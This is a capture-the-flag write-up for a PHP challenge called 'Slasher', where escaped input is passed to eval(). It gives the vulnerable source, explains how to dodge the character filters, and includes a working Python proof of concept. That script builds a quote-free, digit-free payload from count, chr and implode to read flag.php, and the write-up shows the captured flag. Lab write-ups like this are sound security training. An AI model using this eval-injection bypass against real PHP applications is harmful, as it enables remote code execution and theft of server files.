Challenge source
Introduction
Slasher is a tiny PHP “eval sandbox”: input gets heavily escaped, then run through eval(). The filters go after the obvious primitives (quotes, digits, arrays, $, _, ., and so on), but they never stop PHP from executing. So a function chain that uses no quotes and no digits can still read flag.php and hand back the flag.
Context Explanation
-
Stack: a single
index.phpthat includesflag.php, with a custom error handler and an HTML front-end. -
Filters before
eval:htmlentities(...)addslashes(...)(backslashes before quotes and\)addcslashes(..., '+?<>&v=${}%*:.[]_-0123456789xb `;')(digits,_,.,$, backtick, space,;, and more)
-
Execution: the escaped string is interpolated into
eval("$input;"), so whatever survives still has to parse as PHP.
Directive
Build a no-quotes, no-digits PHP expression out of functions that have no underscores, use it to read flag.php, and let it be the eval result.
Solution
1) Code reading
// Debug muted; source view allowed
if (isset($_GET['source'])) { highlight_file(__FILE__); die(); }
include "flag.php";
$output = null;
if (isset($_POST['input']) && is_scalar($_POST['input'])) {
$input = $_POST['input'];
$input = htmlentities($input, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
$input = addslashes($input);
$input = addcslashes($input, '+?<>&v=${}%*:.[]_-0123456789xb `;');
try {
$output = eval("$input;"); // executes *after* escaping
} catch (Exception $e) { /* swallowed */ }
}
What that leaves us:
- Quotes become
\"/\', dead. - Digits,
.,_,$, space,;,[]and several metachars get escaped, dead. - Still free: most letters,
(,),,,=, and the many core functions with no underscore in their name (include,readfile,opendir,readdir,closedir,getcwd,scandir,max,min, …).
2) Bypass idea (mechanics)
No strings (quotes break), no numbers (digits slashed), no arrays ([] slashed), no variable names ($ slashed). But function calls are fine, and so is chaining their return values.
flag.php is already on disk and included before our code runs, so there’s no need to touch $FLAG, we just read the file. The trick is synthesizing the filename "flag.php" with no quotes and no digits, then feeding it to a file reader like file().
3) PoC
The building blocks: count(array(null, null, ...)) gives us any integer without a digit, chr(...) turns each integer into a character, and implode(array(...)) glues the characters into "flag.php". That string goes into file(), and echo(implode(...)) prints the contents.
import requests
BASE_URL = "http://52.59.124.14:5011"
def convert_count(n):
return "count(array(" + ",".join(["null"] * n) + "))"
def encode_ord(n):
return "chr(" + convert_count(n) + ")"
def encode_string(s):
return "implode(array(" + ",".join(encode_ord(ord(c)) for c in s) + "))"
payload = "echo(implode(file(" + encode_string("flag.php") + ")))"
print(requests.post(BASE_URL + "/", data={"input": payload}).text[:58])
This script produces the payload:
echo(implode(file(implode(array(chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))))))))
which evaluates down to echo(implode(file(flag.php))).
Why it survives the filters: they only add backslashes before banned characters, and this payload contains none of them, so what reaches eval() is still valid PHP.
The server answers with the flag:
<?php
$FLAG = "ENO{3v4L_0nC3_Ag41n_F0r_Th3_W1n_:-)}";
?>